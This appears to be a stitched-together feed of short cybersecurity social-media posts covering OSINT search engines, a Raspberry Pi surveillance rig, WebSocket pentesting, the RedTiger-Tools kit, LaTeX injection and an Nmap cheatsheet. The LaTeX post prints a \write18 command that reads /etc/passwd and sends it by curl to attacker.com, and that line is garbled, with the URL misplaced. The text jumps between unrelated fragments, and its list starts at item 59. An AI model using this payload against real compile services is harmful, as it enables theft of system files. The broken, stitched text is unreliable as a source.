✅ 60 Search Engines for Hackers, OSINT Analysts & Cybersecurity Pros
Explore, analyze, uncover legally and ethically.
Well Categorized ⤵️💯
Whether you’re digging for vulnerabilities, tracing digital footprints, or conducting threat intel, these search engines unlock layers of the internet you can’t reach through Google alone.
📚 Bonus Intelligence Resources
59.🧭 OSINT Framework — osintframework.com (structured reference)
60.🔗 Maltego Community — maltego.com (optional visual link mapper)
💡 Whether you’re in bug bounty recon, corporate investigations, or digital forensics having the right search tools can supercharge your workflow.
⚠️ Disclaimer: These tools are intended strictly for educational use and ethical security research. Always operate within legal scopes such as bug bounty programs, authorized assessments, or public datasets.
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Next-Gen Surveillance, Recon, and Computer Vision in Your Hands
SHIT’ getting CRAZY 🤪
In a standout example of edge computing and DIY innovation, a cybersecurity and tech enthusiast has built a high-performance surveillance and tracking system powered entirely by a Raspberry Pi 5, paired with a Hailo AI HAT+ accelerator and a basic Pi 3 camera module
Despite its compact size, this setup is achieving results that rival commercial surveillance systems and it’s just getting started.
WebSocket is a protocol that enables full-duplex, real-time communication over a single TCP connection unlike HTTP, which is one-way at a time.
⤵️Read This write up 💯⤵️
Common use cases:
• Chat apps
• Live sports feeds
• Stock trading platforms
• Multiplayer games
🎯 Why Test WebSockets?
WebSockets often bypass traditional HTTP security controls like WAFs and CSRF protection. That makes them juicy targets for attackers
⚒️ WebSocket Pentesting Methodology
1. Discover WebSocket Endpoints
Use tools like:
• Burp Suite (WebSockets tab)
• Browser Dev Tools → Network → WS tab
🐯 RedTiger-Tools is an open-source OSINT and penetration testing toolkit for ethical hackers and researchers. It streamlines recon and basic offensive tasks on both Linux and Windows.
⤵️GitHub Link 🔗 Below⤵️
👨💻 Developer Info
Author: loxy0dev
Language: Python
Supported OS: Linux and Windows
LaTeX is known for academic papers and clean typesetting but in the wrong hands, it’s a stealthy exploit vector.
Platforms like Overleaf, Jupyter, and others that compile .tex files can unknowingly expose your system.
💥 1. Remote Code Execution (RCE) – \write18
If --shell-escape is enabled, LaTeX can run system commands:
\immediate\write18{curl `cat /etc/passwd`}
🧨 Leak data, fetch payloads, or execute arbitrary code at compile time.attacker.com/?data=
🧿 Nmap Cheatsheet: Map the Network Before You Touch It 📡🔍
Whether you’re on offense or defense, Nmap is your recon sniper used by pentesters, blue teamers, and sysadmins to scan, fingerprint, and dig into networks before making a move.
🚀 What You Can Do with Nmap
🔍 Network Discovery
•Detect live hosts & open ports
•Identify IPs, MACs, and basic layout of the network
🧠 Service & Version Detection
•Know what’s running where
•Detect software versions to hunt known vulnerabilities